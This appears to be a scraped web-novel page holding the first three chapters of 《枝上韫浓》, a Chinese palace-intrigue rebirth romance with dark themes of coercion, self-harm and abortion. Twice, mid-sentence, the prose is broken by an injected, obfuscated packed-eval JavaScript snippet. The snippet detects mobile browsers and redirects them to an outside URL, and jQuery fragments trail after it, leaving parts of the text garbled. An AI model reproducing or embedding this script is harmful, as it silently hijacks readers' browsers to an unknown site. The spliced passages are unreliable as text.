《枝上韫浓》 第1章 锲子 元韫浓,小字应怜,岐国公与惠贞长公主之女。 惠贞长公主进宫与陛下闲聊时,突然发动,在宫中诞下了她。 她出生时云气满室,照映宫闼。南朝大胜,旧朝余党败落,自此天下太平。 元韫浓也被视为祥瑞之兆。 于是惠帝特封元韫浓为朝荣郡主。 元韫浓本以为,自己这一生也应该万事顺遂,称心如意才对。 但她喜欢上一个人,世交家的哥哥,新科探花郎沈川。 但是沈川已经跟她那从小就看不上的淑慎公主慕水妃两情相悦了。 所以元韫浓就耍了点小手段,让慕水妃去一边,自己高高兴兴嫁给了沈川。 沈川不高兴,但那又怎样? 日久天长,总有一天,沈川会喜欢她的。 但是偏偏有个裴令仪,那个可恶可恨的裴令仪。 裴令仪,字清都。 原本是裴雍旧朝一脉,照理来说裴氏正统,而后日益式微,被慕氏所推翻。 新的皇朝南朝,慕氏帝皇仁善,封了裴氏末代皇帝做清河王,异姓王爵位世代相传。 仅仅两代,传到了裴令仪这里,已经是有名无实。 虽是昔日正统,但无权无势,同质子无异。 年年岁岁,都被欺凌。 再加上清河王旧党作乱,惠帝看裴令仪怎样都是不爽。 不仅不允袭爵,还留在宫里,放在眼皮子底下盯着。 裴令仪的处境愈发难堪。 这原本跟元韫浓一点关系都没有。 只不过慕水妃曾经帮过裴令仪,是裴令仪心目中出淤泥而不染的圣莲。 裴令仪后面政变成功,推翻南朝,改国号为雍,建元永昌。 元韫浓本以为自己最多从朝荣郡主,变成和新皇帝有点仇的前朝遗民吧? 没想到裴令仪登基第一件事情,就是君夺臣妻,强取豪夺,册封她为皇后。 众**跌眼镜,谁也没想到会是这样。 紧接着京中传遍了消息,人尽皆知元韫浓当年耍了手段**了沈川和慕水妃这对苦命鸳鸯。 又是一道圣旨,裴令仪为沈川和慕水妃指婚。 而元韫浓,早早逃回娘家岐国公府避难,老远听到这消息险些被气死。 他不是爱慕水妃爱得深沉吗?那当皇后的应该是慕水妃才对。 干嘛要来祸害她? 还没来得及深思,禁卫军上上下下将岐国公府围得水泄不通,强逼元韫浓进宫。 被架着丢到裴令仪面前时,元韫浓看着衣袍那角的龙纹发愣。 她抬起头,身着衮服的裴令仪正坐在烛火旁好整以暇地俯视着她。 摇曳的烛火映照着十二冕旒落在裴令仪脸庞上的光影,显得那张雌雄莫辨的脸森然,犹如艳鬼。 “韫浓阿姊。”裴令仪微微前倾身子,勾起唇角,“别来无恙。” 裴令仪和元韫浓某种意义上来说是同类。 元韫浓在沈川面前扮得温柔可怜,柔弱不能自理。 裴令仪在慕水妃面前装得温和端方,人畜无害。 实际上都是伪善又阴郁的坏东西。 他们彼此都知道对方的真面目,互为不齿,却又因为彼此的身份,还有沈川和慕水妃而不断地往来。 裴令仪暗中给沈川使绊,元韫浓暗中为难慕水妃,他俩都因为自己的心上人而对彼此恨得牙痒。 元韫浓怎么也没想到,昔日小可怜能改朝换代,自己做皇帝。 “乱臣贼子,做了皇帝还想着君夺臣妻?也不怕这来路不正的位置,坐得更不长久。”元韫浓冷笑着出言嘲讽。 裴令仪面不改色,“大雍的史书里只会写,我是光复裴氏一族的开国皇帝。胜者才是正统,到时候的乱臣贼子,只会是慕氏。” “你口中乱臣贼子,可是包括了你心心念念的水妃阿姊。”元韫浓都为裴令仪这假模假样的深情发笑。 “当了皇帝,不去找你的慕水妃,抓我来做皇后?你没事吧?”她半眯着眼睛。 裴令仪笑:“我娶阿姊做我皇后不好吗?若不是沈川,阿姊不是本就想当皇后吗?” 元韫浓嗤笑:“那又如何?我已嫁作沈家妇,使君有妇,罗敷有夫。你还想枉顾伦理礼教不成?” “阿姊,你知道我向来不是守礼的人。新朝了,有些旧婚约就做不得数了。”裴令仪依旧面带微笑。 他带了些戏谑的意味,“再者,我何时有妇?” “贤后是什么样的,你不清楚吗?你不娶世家女或清流人家女儿做皇后,作何非要来招惹我?”元韫浓紧盯着他。 裴令仪笑了笑,“因为我心悦于阿姊啊。” 裴令仪的鬼话连篇元韫浓一个字都不信。 元韫浓最憎恨裴令仪这副山崩于前也泰然自若的假面孔,无论叫裴令仪做什么他都会去做。 她非要裴令仪也鲜血淋漓才痛快。 她突然意识到了什么。 “你是同慕水妃表明了心意,不被接纳吧?哈!哈哈哈哈哈!”元韫浓大笑起来,笑得鬓边钗环乱颤。 裴令仪那张玉塑般的脸终于仿佛出现了裂缝。 他压低了眉眼,流露出压抑着的什么情绪,“水妃阿姊不接纳我,沈川也不见得待见韫浓阿姊吧。” “这些年来,外头传的是沈川同韫浓阿姊相敬如宾,实际上也是落花有情,流水无意。” “既然他们二人两情相悦,韫浓阿姊又何必插在其中碍事?” 元韫浓陡然抬起了头,眸光雪亮,一片冰寒。 眼底参差错落的情愫,裴令仪都分不清那是什么。 他语调平和:“想要阿姊这种人心甘情愿放手,简直难于登天。思来想去,我也只能出此下策。” “你我都是可怜人,倒不如一并取暖,也好过一人可怜。”他上前抬起元韫浓的下巴。 元韫浓“啪”地打掉了裴令仪的手。 她用怨恨的目光盯着裴令仪,“你可真是高尚啊,揭了我的假面,把我丢出去承担骂名,再强逼我进宫,让慕水妃毫无负担地跟沈川在一起!” “裴清都,你自己求而不得,还想拖我下水?”元韫浓恨声道。 裴令仪不过是嫌一个人待在阿鼻地狱里太冷,想要她也一起殉葬。 裴令仪剥开了她所有的伪装和保护,她也要反咬回去,也要裴令仪痛。 她恨不得践踏裴令仪所有的底线,撕碎裴令仪所有的假面。 “你不觉得自己这一生可怜得令人发笑吗?年幼失怙失恃,被强推着光复裴氏,被**被打骂,耗尽心血总算是爬上来了,却还是求而不得!你想要的,这辈子都得不到!”她大肆讥讽裴令仪。 吵到这里,他们什么都说出来了。 就像一对不共戴天的仇人。 元韫浓道:“我当时在城门口,就不该放你走!” 因为他们都太了解对方了,所以刺向彼此的刀都格外锋利。 “你这个君夺臣妻,枉顾礼法的畜生!”元韫浓痛声骂道。 她咬着牙笑道:“你这种阴沟里的老鼠,只配觊觎旁人的幸福!一辈子都别想得到慕水妃!” “元应怜,你以为你很高尚吗?你难道不是使了手段嫁给沈川?”裴令仪彻底敛了笑。 他随语句起伏逼近了元韫浓,才靠近就看见金光一闪。 元韫浓倏地拔下发间的钗子,刺向裴令仪。 她其实来时带的是**,只是被搜走了。 裴令仪握住了元韫浓的手腕,反手夺下金钗。 元韫浓跌坐在地上。 像是戏弄一只恼羞成怒的狸奴似的,裴令仪不觉得愤怒,反倒是笑了。 他似乎格外欣赏元韫浓此刻的落魄和挣扎。 “这招阿姊在城门口时不就用过了吗?”他挑眉,“同样的招数,第二遍可就不灵了。” 元韫浓暗自攥紧了发抖的手。 她知道自己杀不了裴令仪,她自幼羸弱,怎么可能杀得了自小习武的裴令仪? 既如此,刺杀失败,裴令仪也不会留她了。 与其被酷刑折磨致死,倒不如自己了断痛快。 元韫浓望向了一旁红梨木架上的玉瓶。 她迅猛地扑倒了木架,玉瓶砸在地上四分五裂。 以生平最快的速度握住其中一块碎片,元韫浓猛的扎向自己的脖颈。 这一回裴令仪依旧比元韫浓快。 一只修长而骨节分明的手横出。 他抬手挡下了那碎片,尖锐的玉片几乎扎穿他的手掌。 锐利且不规整的碎玉片没入皮肉,鲜红的血顺着手掌“啪嗒啪嗒“滴落在地上,格外醒目。 元韫浓缓缓睁大眼睛,一滴血落在她苍白的脸颊上,血色与雪色映照极致的色彩,惊心动魄。 裴令仪眉眼带煞,戾气丛生,眼睛里映照出元韫浓的倒影。 裴令仪仿佛不知疼痛般夺下了元韫浓手里的玉片,紧紧地握在掌心里。 血一滴一滴地坠落在地砖上。 两个人的血混在一起。 元韫浓还没见过裴令仪这副神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476425|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,这可比之前波澜不惊的假面精彩多了。 她几乎是痛快地,又痛恨地捂着脸笑了起来。 外面的守卫听了动静齐刷刷涌进来,就看到这一幕。 “把这些伤人的东西拿走,别伤到了皇后。”裴令仪眼睛都没抬一下,只是看着元韫浓,近乎平静地说道。 守卫们连忙收拾了残局,飞速地离开,又关上了门。 裴令仪的语气听不出喜怒:“你是想着为沈川守节吗?我从前可不知阿姊是这种宁为玉碎,不为瓦全之人。” “我原以为阿姊这般狠心的人,本该视自己为最重才对。沈川究竟有什么好的?阿姊竟这般喜欢他?”他丢掉沾了两个人血的碎片,半跪在地上。 裴令仪扼住了元韫浓的手腕,将人拽到面前。 他用没血的那只手,缓慢地擦掉元韫浓脸颊上的血迹。 裴令仪轻声道:“阿姊,别想着激怒我。” 裴令仪忽的松开了钳制住元韫浓的手,缓慢地后退了一步,露出一个阴沉的笑。 他双眼微红,满掌的血,诡异又妖冶。 元韫浓也仰起脸望向他。 他似乎想触碰元韫浓的脸庞,却看着满手血腥生生滞留在半空中,只是虚虚地隔空做了一个抚摸元韫浓脸庞的动作。 “今生今世,无论如何,你也只能跟我绑在一起了。”他道。 “如果有朝一日你能摆脱我,那也是我们其中一人的死期。”裴令仪兀自说着。 他又笑了,“啊,那也不然。就算是挫骨扬灰,我们也会葬在同一片墓里。” 这样漫长而又绝望的日子持续了一年又一年。 有时候元韫浓都搞不懂裴令仪。 这又是何苦呢? 她不痛快,他也不高兴。 相看两生厌,却偏偏纠缠不休。 在床榻上抵死交缠的时候,在数不尽的昏昧里,元韫浓都会忘记很多事。 裴令仪喘息着,指掌覆盖上了元韫浓的脖颈。 每当这个时候,元韫浓都怀疑裴令仪是想要掐死她。 但她的理智也被埋葬了。 等到漫长的余韵过去,元韫浓缓过神来。 她喃喃地问:“爱是恨吗?还是说,恨也是爱?” “阿姊怎么问这个?”裴令仪支撑起身子。 “我在想,如果你我之间孕育一个孩子,我到底该爱他?还是恨他?”元韫浓抬起手,用微凉的指尖撩拨裴令仪的眼睫。 裴令仪依旧用那种仿佛很包容的眼神注视着她,“不会的。” 元韫浓冷笑:“你夜夜笙歌,不知节制,怎么不会?” “阿姊不会想要和我有孩子的,所以才每次都喝凉汤不是吗?所以递给我的茶里,永远有药不是吗?”裴令仪笑了笑。 何况他自己也吃了药,他知道元韫浓不想有他的孩子,也知道元韫浓的身体负担不了。 他们没有一个人期待会有孩子。 他看着那刹那元韫浓眼里的恨意凝结成了实质。 原来他知道。元韫浓闭了闭眼。 “是啊。”元韫浓的语气轻飘飘的。 她拉着裴令仪的手贴在了自己的小腹上,“但是偏偏就怀上了,千防万防,还是怀上了。” 裴令仪的动作僵硬住了,他慌忙退离了元韫浓的身体。 而元韫浓坐起身,露出薄凉的微笑:“清都,你说,我该如何处理这个孽种呢?” 最终元韫浓也没留下他,一碗红花汤灌下去结束了。 裴令仪对此并没有异议。 元韫浓在灌了红花汤打掉那个孩子后,元气大伤,养了很久。 她都觉得那会险些熬不过去了,但她偏偏还是熬过来了。 嗓子干涩得发疼,头昏脑涨,小腹隐隐的钝痛。 元韫浓睁开眼睛的时候,都觉得还不如昏着好。 但立刻有人扶她起来,将温热的参汤端到嘴边,湿润了她的口唇,然后对着外头喊太医。 元韫浓偏过脸就看到裴令仪微蹙的眉头。 注意到元韫浓的视线,裴令仪顿了顿,“我来看看你。” “来看我死没死吗?”元韫浓嗤笑。 死寂的沉默,在太医匆忙的脚步声靠近前,元韫浓听到裴令仪笑出了声:“呵。” 元韫浓到现在都没想明白那是冷笑还是什么。 对于他们彼此而言,对方都是牵扯拖拽着彼此在泥沼里愈陷愈深的伥鬼。 意中人,天边月。 枕边人,索命鬼。 同床异梦,终成怨偶。 第2章 重生 最后还是裴令仪先死的。 太医说是油尽灯枯,元韫浓却觉得是遭了报应,不然何至于死在她这体弱多病的前头? 元韫浓坐在床榻边,看着裴令仪一点点咽了气。 死前裴令仪还紧紧地拽着她的手腕,问:“阿姊,你……你是不是很恨我?” 元韫浓沉默良久,别过了脸,“你敢丢下我一个人面对沈川和慕水妃,自己解脱苦海?你休想!” “你合该恨我。”裴令仪气息不稳地笑。 他念着:“我若是**,你该没那么苦了。” “苦?”元韫浓重复这个字,“既那么苦,既然都不痛快,又何必同我在一起?” 裴令仪轻声道:“天上便不苦了,阿姊,我不苦了,你也不苦了。” 他伸出手,冰凉的指尖触摸到元韫浓的手指,却又蜷缩了。 他的气息一点点微弱,最终消失。 元韫浓在床前枯坐了许久,外头都是臣子的哭泣。 死亡混淆视听,恨意再度模糊。 裴令仪没有妃嫔,也没有子嗣。 他在世时毫不忌讳元韫浓摄政,喂养元韫浓的野心。 于是元韫浓从旁系里挑了个孩子推上皇位,开始了长达数年的一言堂执政。 裴令仪和元韫浓。 黑龙恶凤,大雍的开国帝后,临朝同治,不相爱却相配。 丰功伟绩,乱臣贼子。多愁多病,英年早逝。 无言以对,无言可评。 元韫浓想,史书会如何写她和裴令仪呢?后世又会如何流传他们呢? 怕不会是写他们结发为夫妻,恩爱两不疑吧。 多可笑啊,恩爱两不疑?哈哈哈哈! 这数年里,她无时无刻不在憎恨裴令仪,恨不得掘墓扬灰。 她恨裴令仪把她拖下水,自己却早早解脱了。 而她只能在这个冰冷华丽的墓里,窥视着沈川和慕水妃的幸福。 直到她病逝断气的那一刻,她也在恨裴令仪。 元韫浓没想到,居然还有重来一世的机会。 她端坐在梳妆镜前,望着铜镜里自己尚且青涩的面容时,恍惚而难以置信。 身后的两个侍女霜降和小满正在为她梳妆打扮。 背景的一梁一木,一帘一壁都是无比的熟悉。 沉檀和宝石捣成粉刷的墙,幽香蓬勃,那架琼花屏风半合着,隐隐露出外边垂目静候的婢女。 “小满……霜降?”元韫浓喃喃自语般道。 不只是她,连她贴身的侍女面容都如此年轻。 霜降忙低下头倾听,“郡主。” “你叫我什么?”元韫浓紧盯着她。 霜降有些不明所以,又重复了一遍:“郡主?” “郡主……”元韫浓扶住桌案一角,胸膛起伏,眼尾染上了潮红,“哈!” 小满和霜降顿时紧张起来,“郡主怎么了?可是身子不适?” “无碍。”元韫浓抬手。 此时充盈她胸腔的是全然的兴奋和狂喜。 太好了……简直是太好了! 苍天不薄她,竟然叫她重回一世。 “郡主,今日千秋节,要簪哪根钗子?”小满打开妆匣。 匣子里的金玉首饰在阳光底下散发出光芒。 千秋节? 元韫浓在脑子里过了一遍,隐约记得裴令仪就是在这回千秋节受辱,闹得很大,被惠帝责罚了。 也是在这时候慕水妃雪中送炭,自此成了裴令仪心中出淤泥而不染的白莲花。 “我记得,三表哥如今也有束发了吧?”元韫浓问道。 三皇子为正宫嫡出,品性优良。 霜降答道:“是,三皇子前不久方才过了十八的生辰,再过两年便是弱冠了,听闻皇后娘娘如今已在为三皇子询问妻妾了呢。” 时间没错。元韫浓定了定心神。 她想和沈川再续前缘,就得送裴令仪跟慕水妃和美。 慕水妃喜欢什么样的来着? 沈川那样的。 把裴令仪那种黑莲花扭成温敦君子…… 元韫浓暗自磨了磨牙根。 罢了,事在人为。 倘若说沈川和慕水妃是佳偶天成,天造地设的一对。 裴令仪和元韫浓就是怨偶天成,天打雷劈的一对。 如今想要换一换,还真不是什么容易的事。 元韫浓记得,在这会裴令仪就已经是那种狼崽子性子了。 自己因为是惠贞长公主之女,时常入宫,和裴令仪有点交集。 之前跟裴令仪,那顶多就是个心知肚明彼此不是盏省油灯的点头之交关系。 明面上是自幼相识,看着彼此长大,实际上处境却判若云泥。 裴令仪年纪小,见了皇族宗亲,只要给几分好颜色,就能顺杆往上爬喊兄姊。 她得想想怎么取得裴令仪的信任,才能改造这狼崽子,变成慕水妃喜欢的样子。 “就这个吧。”元韫浓随手挑了根玉簪。 小满笑道:“是世子送的白玉嵌珠翡翠玉簪,衬得郡主这身珍珠纱更美了。” 提及世子二字,元韫浓目光稍凝。 岐国公尚公主前,已有原配,且诞下一儿二女。 长子元彻回,是未来袭爵的世子。 长女元云和。 次女元蕴英。 岐国公夫人暴病离世后,岐国公再娶,尚惠贞长公主。 彻头彻尾的**联姻。 惠贞长公主婚后只诞下一女,便是元韫浓。 所以岐国公这一子三女都是嫡出,元韫浓和几个哥哥姐姐是同父异母。 除却更为年长懂事的兄长之外,元韫浓和两个姐姐关系并不亲赖,甚是生疏。 尤其是元蕴英,甚至可以说是不和。 但是前世她在裴令仪登基之后,回了岐国公府寻求庇佑。 岐国公一脉都是坚定的保皇党,元韫浓的三个兄姐都是支持三皇子的。 不过三皇子败落了,元蕴英在宫变中身亡。 裴令仪是拿元彻回逼她进宫的,元彻回不慎中了埋伏。 裴令仪拖着遍体鳞伤的元彻回到元韫浓面前,逼着她留下,逼着她认命,逼着她做这个皇后。 迟疑一刻,裴令仪就砍下元彻回一根手指。 元韫浓哭着扑倒在气息奄奄的元彻回身边,含血般认了。 这之后元彻回封侯拜相,元氏一族身为三皇子余党依旧风光无限。 元韫浓提出的要求,裴令仪都会满足,把她的家族重新捧上了天。 只要元韫浓留下,什么都可以。 裴令仪硬生生将大雍变成帝后同尊。 他们都把这归结为帝后同心,恩爱两不疑。 无人知晓实则相看两生厌。 也没人知道封后那一晚,元彻回、元云和夜闯宫闱,被禁军扣押在凤仪宫前,一声声问元韫浓是否真心愿意。 元韫浓幽幽叹息:“长兄待我,确实真心。” “郡主这是哪儿的话?一家子亲兄妹,血脉相连,自然是真心相待。”霜降笑。 元韫浓起身,“快些吧,再玩,母亲该等急了。” “是。”霜降和小满应声。 霜降取来白狐裘为元韫浓披上。 三人便走进冰天雪地之中。 马车早早地候在国公府门口了,元韫浓姗姗来迟。 大雪压青松,元韫浓拥着锦衣狐裘,到为首的马车前。 车前是骑在高头大马上的父兄,还有二姐元蕴英。 车里是惠贞长公主。 “女儿来迟了,连累了爹娘与兄姊在雪中多做等候。”元韫浓道。 元彻回摇头,“不碍事,女儿家梳妆难免拖沓些,可以理解。” 元蕴英轻嗤一声:“父亲母亲俱在,我们这么多人等她一个,真是好大的面子。” “女儿家梳妆难免拖沓些,可以理解?”她冷笑,“我和长姐怎么就早早侯着了呢?” 第二辆马车的车帘被掀开,露出元云和那张柔和精致的面孔。 她淡声劝阻:“蕴英,莫要胡闹。” 元蕴英冷哼一声,别过了头。 为首的马车里传来女子微哑的嗓音:“应怜自幼体弱,来前可喝了药?” “自是喝了的。”元韫浓回答。 她明白母亲这是给这个场面画圆。 “行了。”岐国公一锤定音,“应怜因着身体不好服药才慢了些,有什么可争论不休?既然人都齐了,便走吧。” 元蕴英气恼道:“父亲就是偏心。” 惠贞长公主道:“应怜,进来与母亲同坐吧。” “是。”元韫浓被搀扶着上了那为首的马车。 马车内烧了暖炉,相当温暖,布置典雅,缕缕幽香萦绕在鼻尖,沁人心脾。 霜降替元韫浓脱下狐裘。 元韫浓坐到惠贞长公主身边,“母亲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476426|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>方才惠贞长公主都不曾露面,但总共两句话,每句都不动声色地制止了矛盾激化。 惠贞长公主微微扬眉,指尖敲了敲车壁,又瞥了眼车外。 示意元韫浓隔墙有耳,外头那三个习武的耳力好,能听得见。 于是元韫浓到嘴边的话又变成了细碎的咳嗽,“咳咳!咳咳咳!” “我儿,你这是怎么了?是不是前些日子又受了凉?”惠贞长公主嘴上是关切,行动上却没有半分。 元韫浓也十分配合:“无碍的,母亲,我已经习惯了。” 外面静默了半晌,传来元彻回的声音:“应怜,父亲嘱我来问问,可有大碍?若是实在不适,可去回了陛下娘娘,在家休养。” “兄长放心,无事。”元韫浓回道。 “那便好,若有不适,定要及时来说。”元彻回又嘱咐了一句。 惠贞长公主叹了口气,“你自幼体弱多病,刚出生就病恹恹的,所以才给你起了小字,叫应怜。” 这话听起来是真心实意的,而非是做戏。 她抬手摸了摸元韫浓的脸,“苍天赐我韫浓如此,苍天应怜,我也应怜。” “阿娘……”元韫浓神色动容,靠在惠贞长公主身上。 前世惠贞长公主在惠帝**之后,没过多久便突发急症而亡。 到了宫门口,惠贞长公主的车马理应是能直接进宫的,却停了下来。 马车外有道清润声音穿过茫茫风雪:“世伯,家父因病不能来千秋宴,子谦特来代家父向世伯问好。” 子谦? 元韫浓一下子坐直了身体。 沈川的字是子谦。 元韫浓掀起车帘,“世兄。” 沈川骑在马上看过来,少年郎姿容清俊,一如既往。 他对着元韫浓笑了笑,“韫浓妹妹,别来无恙。” “多谢沈大哥,近来一切都好。”元韫浓笑道。 岐国公点头,“世侄年少有为,能独当一面了。也代我向沈世兄问候一句,待到有空了,必然带着妻儿登门拜访。” “是。”沈川翩翩有度。 “既然碰上了,不若同行。”元彻回道。 一行人车马继续往宫里前行。 元韫浓坐了回去,发觉自个儿母亲正意味深长地盯着自己看。 元韫浓有些心虚。 “沈家郎君行止有度,洁身自好,倒也不失为良人。”惠贞长公主说。 她这话没有压低声音,可见是不止讲给元韫浓听,也讲给外面那一行人听的。 果不其然,外边正在谈论科考之事的声音一下子没了。 静默片刻之后,元韫浓听见岐国公开始话里话外打听沈家对儿女们的婚姻规划。 见父亲有此打算,元韫浓难免欣悦。 进了殿内入座之后,时候还早。 元韫浓急于去找裴令仪,叫他免去这一劫难。 岐国公和元彻回则是先受了惠帝的召见。 “母亲,我闷得慌,出去逛逛。”元韫浓拉住了惠贞长公主的袖子。 惠贞长公主满脸不赞同,“外边天寒地冻,吹了风受了凉可怎么是好?” 元韫浓拖长了调子撒娇:“阿娘,我便是在这儿闷得慌,透不了气了才想出去逛逛呢。” 惠贞长公主自以为她是待着无聊。 原本宫中规矩繁多,但元韫浓身份尊贵,想来也不会有人过多为难。 “那便去吧。”惠贞长公主拍了拍元韫浓的手,“仔细着别受了风了。” 元韫浓喜笑颜开,“谢谢阿娘。” 见元韫浓跟只穿花蝴蝶似的出去,元蕴英啧了一声:“夫人未免也太惯着她了些。” “我就一个应怜,自然得惯着些。”惠贞长公主笑容不改。 这话里头意思可就多了,是就只有一个元韫浓,也是就只有一个女儿。 岐国公原配的这几个孩子没叫过她母亲,她自然也没把他们当成自己孩子。 也不过是相敬如宾,关起院子来过自己的日子。 何况当年因为元蕴英的打闹引发了不小的事端,自那之后,惠贞长公主和这几个孩子愈发存有嫌隙。 元蕴英脸色难看起来,像是想到了什么。 元云和握住了元蕴英的手腕,摇了摇头。 “应怜年纪最小,夫人疼些,也是应该的。”她柔声说道。 惠贞长公主笑而不语。 第3章 自苦 元韫浓目标明确,直冲御花园。 她记得前世裴令仪在千秋宴上被五皇子追着,冲进殿来,衣衫褴褛,遍体鳞伤。 裴令仪当时的理由是,皇后让他跪在雪地里,他好好跪着,五皇子非说是他害**自己舅舅,要杀他,他为了保命慌不择路,才逃过来的。 五皇子舅舅死在围剿前朝余孽时,所以才迁怒于裴令仪。 但真相如何,惠帝并不在意。 裴令仪叫惠帝面上无光了。 惠帝就将所有事都推究于他。 霜降和满看元韫浓健步如飞,直奔御花园的倚梅园,满脸疑惑。 “郡主,我们这是要去做什么啊?”霜降问道。 “我去观景,雪中红梅,必然别有一番风味。”元韫浓一本正经地胡说八道。 小满不解,郡主不是时常进宫吗?御花园都逛过多少回了? 但是主子说什么,那就是什么。 大雪纷飞,霜降和小满给元韫浓打着罗伞。 前方是一阵嬉笑声。 少年跪在雪地上,眉毛和眼睫上都挂满了霜雪,嘴唇没有一丝血色,也不知道跪了多久。 旁边梅花浓艳的色彩跟他的凄惨毫不相融。 他旁边围着几个官宦子弟。 那几人嬉笑着拿雪往他身上砸,捉弄他,嘲笑他。 “皇后娘娘让他跪在这里一天,不许进水米,他还真跪着寸步不离啊?又没人盯着他,他是不是傻?” “他若是走了,保不齐罚得更重。再说了,他若是走了,我们哪能看到这出好戏呢?” 带头的人趾高气昂地一脚踹翻了裴令仪,“清河王世子?哈,笑**了!” 他把脚踩在裴令仪脸上,用力往雪里踩,“爹娘都死光了的世子,无数人盼着你死呐。” 这人是户部尚书之子吕世勋,向来和五皇子交好,所以才带头欺负裴令仪。 面对一群人的侮辱和拳打脚踢,裴令仪都没有做出反应。 他只是用手肘护着头蜷缩起来,半敛眼睑,将眼底的情绪遮掩得一干二净。 这开始让他们感到无趣了。 “陛下和娘娘会追究吗?他再怎么说也是清河王世子啊。“有人开始犹豫了。 “清河王余党自身难保,他父王母妃命丧黄泉,清河王世子又如何?在这南朝,他难道会比条狗更尊贵吗?”吕世勋冷笑。 他居高临下地看着一言不发的裴令仪,“怂什么?打死算我的。” 他注意到裴令仪漠然的眼睛,一时郁气,抓住裴令仪的头发把人提起来,“你那是什么眼神?信不信我把你眼睛剜下来?” 裴令仪垂下眸子。 吕世勋发现了什么好玩的事情似的,兴奋道:“给我抓住他!” 一群人七手八脚地摁住裴令仪的手脚。 吕世勋举着短刀,在裴令仪眼周比划,“把你眼睛送给五皇子,他会开心的吧。” 裴令仪瞳孔轻颤,暗自攥紧了拳头,计算着怎么样反抗才能将伤害降到最小。 在刀尖对准他眼睛的时候,一个影子从角落冲出来,撞开了吕世勋举刀的手,扑向裴令仪。 “郡主!”霜降和小满慌忙喊道。 她们都没想到元韫浓突然冲了出去。 元韫浓猝不及防撞入裴令仪怀里。 裴令仪被撞得跌坐在地上,下意识搂住了元韫浓。 元韫浓在颤抖,雪花落在她苍白的脸上,乌黑的发间,长睫扑簌着遮住琥珀色的眼瞳。 但从裴令仪的角度,他能清晰地将元韫浓眼底的算计与冰冷收进眼底。 一轮黯淡又破碎的月亮,掉进他年轻却摇晃的船只。 这群官宦子弟看见元韫浓的脸后都愣住了,莫名有些心虚。 元韫浓平日里营造的柔弱不能自理白月光形象过于深刻,以至于他们下意识不想将这一幕暴露在她眼前。 “朝荣郡主?她怎么来了?” “韫浓,过来,离他远点。” “元应怜,这件事情你不要插手。” 元韫浓摇了摇头。 霜降和小满连忙把元韫浓扶起来,给她撑伞。 “我非要管。”元韫浓挡在裴令仪前面,语调柔和,“不能这样欺负人的,清都毕竟是清河王世子,代表着前朝,这样都让前朝遗民悉数寒心。” 她这么说了,大多数人都犹豫了。 吕世勋冷笑:“南朝建立都多少代了?那些遗民还剩下多少?现在就算是把他杀了,也不会有多少人跳出来,能有几个人为他哭?” 元韫浓知道吕世勋不好糊弄,瞥了他一眼。 难怪他之后会被裴令仪清算,满门抄斩呢。 但元韫浓刚刚就想好了退路。 她捂着心口,状似痛苦地喘着气,蹙眉摇头,“可他又没做错什么,为何不能放过他?” “郡主!”霜降和小满慌乱搀扶住她,“可是病发了?” 元韫浓立即柔弱地歪倒在小满怀里,半闭着眼睛喘气。 裴令仪沉沉地注视着元韫浓,也被她这说发病就发病,说倒就倒的水平震惊了。 “我们走吧,别再刺激她了。”立刻有人打了退堂鼓。 马上有人应和:“是啊,她若是有个三长两短的,这事儿可就闹大了。” “惠贞长公主不会放过我们的。”他们齐齐点头。 惠帝诸多兄弟姐妹里面就惠贞长公主是一母胞姐,最说得上话,何等尊贵? 吕世勋脸色难看地看了眼元韫浓,点了点头,“元应怜,你可真是好样的。” 他又瞪了一眼裴令仪,“裴清都,你给我等着!” 一群人拂袖离去。 蠢货,敢跟未来皇帝叫板,找死啊?元韫浓看着他们的背影。 见他们走远了,元韫浓才从小满怀里站直了。 这招元韫浓常用,霜降和小满就算常见也会被吓到。 元韫浓低头看还跪在雪里的裴令仪,朝他伸出了一只手,“还站得起来吗?” 她倒也不害怕这样裴令仪会移情别恋,转而喜欢上她了。 她是冲着真当裴令仪姐妹来的,这样不仅方便撮合裴令仪和慕水妃,等到日后裴令仪当了皇帝,她还能沾沾光呢。 所以刚才她是实打实没遮掩自己的本性。 她跟裴令仪一样,里子都是黑透了的。 人怎么会喜欢上同类? “韫浓阿姊。”裴令仪仰起头,姿态可怜,“他们都不喜欢我,是我做错了什么吗?” 他唇角有暗红的干涸血迹,脸色苍白,眸色寂寥。 浑身遍布伤痕,冰天雪地里却衣衫单薄,甚至开了线。 闻出同类的气息很容易,更何况前世跟裴令仪混了那么久。 元韫浓扬起眉梢,似笑非笑:“在阿姊这里,别装了,你手里拿的是什么?” 裴令仪神情一僵,松开了手里捏着的碎瓷片。 因为攥得太过用力,掌心上甚至有了深深的印子。 他一直藏在破烂的袖口里,刚刚要是元韫浓不来,他是打算用这个的。 只不过那样伤了吕世勋的话,或许后患无穷,会引来**烦。 “还不起来?”元韫浓把手往前递了些。 被元韫浓洞察秋毫的眼神所注视着,裴令仪莫名觉得自己被剖开了一样,喧嚣的肮脏的心事一清二楚地摆到了台面上,暴露在所有人眼里。 他难堪地拍开元韫浓的手,忍着痛地自己站了起来,语气冷淡:“多谢阿姊出手相助。” “只是我同韫浓阿姊素来并不交好,阿姊也并非什么善心大发之人,为何会出手相助?”他半眯起眼睛,满腹疑惑。 他十足十的戒备,像只警惕的小兽。 元韫浓作为长公主之女,时常入宫。他们虽说时常碰面,但并不交心。 裴令仪戴着假面,也看得出元韫浓的伪装。 